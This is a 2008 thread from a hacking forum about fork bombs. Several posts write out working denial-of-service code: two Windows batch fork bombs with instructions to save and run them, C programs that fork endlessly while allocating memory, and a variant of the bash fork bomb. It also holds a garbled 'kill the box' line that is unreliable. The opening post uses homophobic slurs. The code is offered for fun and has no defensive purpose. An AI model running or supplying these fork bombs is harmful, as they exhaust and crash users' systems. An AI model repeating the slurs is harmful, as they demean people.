All that is necessary for evil to succeed is that good people do nothing! Support Act for America

Forkbomb - Anarchist Cookbook
Anarchist Cookbook  

Go Back   Anarchist Cookbook > Anarchist Cookbook > Hacking > Programming

Programming Got code?

Reply
 
Thread Tools Search this Thread Display Modes
Old April 11th, 2008   #1
ishkur88
Senior Member
Points: 5,313, Level: 31
Points: 5,313, Level: 31 Points: 5,313, Level: 31 Points: 5,313, Level: 31
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 
ishkur88's Avatar
 

Last Online: 1 Day Ago 06:01 PM
Join Date: Nov 2006
Location: the internet.
Age: 25
Posts: 1,104
Cash Credits: 6,001
ishkur88 RSS Feed
Send a message via AIM to ishkur88 Send a message via MSN to ishkur88 Send a message via Yahoo to ishkur88
Forkbomb

So, for the sake of a decent argument, here's the idea:

One process spawns another process, which in turn spawns another, that one spawns another, infinitely looping that pattern. The catch is, none of those parent processes stop, they keep looping as well. So that first process keeps spitting out children, those children keep spitting out grandchildren, etc.

This is called a forkbomb. It exploits a feature of modern computer systems called Forking (the process by which one process creates another). Forking is actually really useful for application design, its just when it goes unmonitored that it might end up being an issue.

So, the code.

For the sake of all you batch loving faggots out there, there are these two gems:

Quote:
:s
START %0
GOTO:s
and

Quote:
%0|%0
save either of those as 'mygayforking.bat' and run it. Probably wont crash the system, but you'll get some funny errors.

Now on to some more, real, code.

Quote:
#include <stdlib.h>
#include <unistd.h>

int main(void) {
int *x;

while (1) {
fork();
/* Allocate the memory to a pointer to int */
x = (int *) malloc(sizeof(int) * 1048576);
/* Try and use the newly allocated memory */
*x = 0;
}

return EXIT_SUCCESS;
}
Thats C source, but it might only be applicable to POSIX though.
__________________
I am not young enough to know everything.
ishkur88 is offline   Reply With Quote
Old April 12th, 2008   #2
slowz
Member
Points: 2,747, Level: 21
Points: 2,747, Level: 21 Points: 2,747, Level: 21 Points: 2,747, Level: 21
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 

Last Online: 3 Weeks Ago 08:13 PM
Join Date: Feb 2006
Posts: 132
Cash Credits: 2,308
slowz RSS Feed
Send a message via AIM to slowz Send a message via Yahoo to slowz
Just out of memory in the 2.4 kernel there line that will kill the box some thing like
:;';';';
slowz is offline   Reply With Quote
Old April 12th, 2008   #3
ishkur88
Senior Member
Points: 5,313, Level: 31
Points: 5,313, Level: 31 Points: 5,313, Level: 31 Points: 5,313, Level: 31
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 
ishkur88's Avatar
 

Last Online: 1 Day Ago 06:01 PM
Join Date: Nov 2006
Location: the internet.
Age: 25
Posts: 1,104
Cash Credits: 6,001
ishkur88 RSS Feed
Send a message via AIM to ishkur88 Send a message via MSN to ishkur88 Send a message via Yahoo to ishkur88
yeah, the Bash ones were pretty interesting
__________________
I am not young enough to know everything.
ishkur88 is offline   Reply With Quote
Old April 12th, 2008   #4
ishkur88
Senior Member
Points: 5,313, Level: 31
Points: 5,313, Level: 31 Points: 5,313, Level: 31 Points: 5,313, Level: 31
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 
ishkur88's Avatar
 

Last Online: 1 Day Ago 06:01 PM
Join Date: Nov 2006
Location: the internet.
Age: 25
Posts: 1,104
Cash Credits: 6,001
ishkur88 RSS Feed
Send a message via AIM to ishkur88 Send a message via MSN to ishkur88 Send a message via Yahoo to ishkur88
old news ? Forking can bring a system to its knees any day of the week. Especially if you manage to inject on into a running processes' memory.
__________________
I am not young enough to know everything.
ishkur88 is offline   Reply With Quote
Old April 14th, 2008   #5
this one kid
Member
Points: 445, Level: 7
Points: 445, Level: 7 Points: 445, Level: 7 Points: 445, Level: 7
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 
this one kid's Avatar
 

Last Online: October 1st, 2008 08:02 PM
Join Date: Mar 2008
Location: USA
Posts: 42
Cash Credits: 692
this one kid RSS Feed
Send a message via MSN to this one kid
haha, gotta love forking. i recently did the "0% | 0%" then saving it as a .bat a few weeks ago. it fucked up my vista, but not XP, strange.

for Unix based OSes (Mac, Linux, but not Windows):
"){ :|:& };:"

Some C coding:
"#include <unistd.h>

int main(int argc, char* args[])
{
while(1)
fork();
return 0;
} "

But "fork()" is not a recognized by Windows and probably will never be. hmmm, funny you brought up forkbombing
this one kid is offline   Reply With Quote
Old April 14th, 2008   #6
ishkur88
Senior Member
Points: 5,313, Level: 31
Points: 5,313, Level: 31 Points: 5,313, Level: 31 Points: 5,313, Level: 31
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 
ishkur88's Avatar
 

Last Online: 1 Day Ago 06:01 PM
Join Date: Nov 2006
Location: the internet.
Age: 25
Posts: 1,104
Cash Credits: 6,001
ishkur88 RSS Feed
Send a message via AIM to ishkur88 Send a message via MSN to ishkur88 Send a message via Yahoo to ishkur88
why's that funny ? I said POSIX compatible, Windows isnt POSIX compatible. Plus, I don't code for the Windows API.
__________________
I am not young enough to know everything.
ishkur88 is offline   Reply With Quote
Old May 31st, 2008   #7
bigmoutha456
Junior Member
Points: 484, Level: 7
Points: 484, Level: 7 Points: 484, Level: 7 Points: 484, Level: 7
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 
bigmoutha456's Avatar
 
Tournaments Won: 2

Last Online: May 7th, 2009 12:15 PM
Join Date: Feb 2008
Posts: 29
Cash Credits: 1,217
bigmoutha456 RSS Feed
intresting
__________________
the gang is the only truth
bigmoutha456 is offline   Reply With Quote
Reply

Tags
fork bomb batch


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Forum Jump


All times are GMT -5. The time now is 12:22 AM.


Powered by Anarchy and vBulletin® Version 3.7.5
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
vBCredits v1.4 Copyright ©2007 - 2008, PixelFX Studios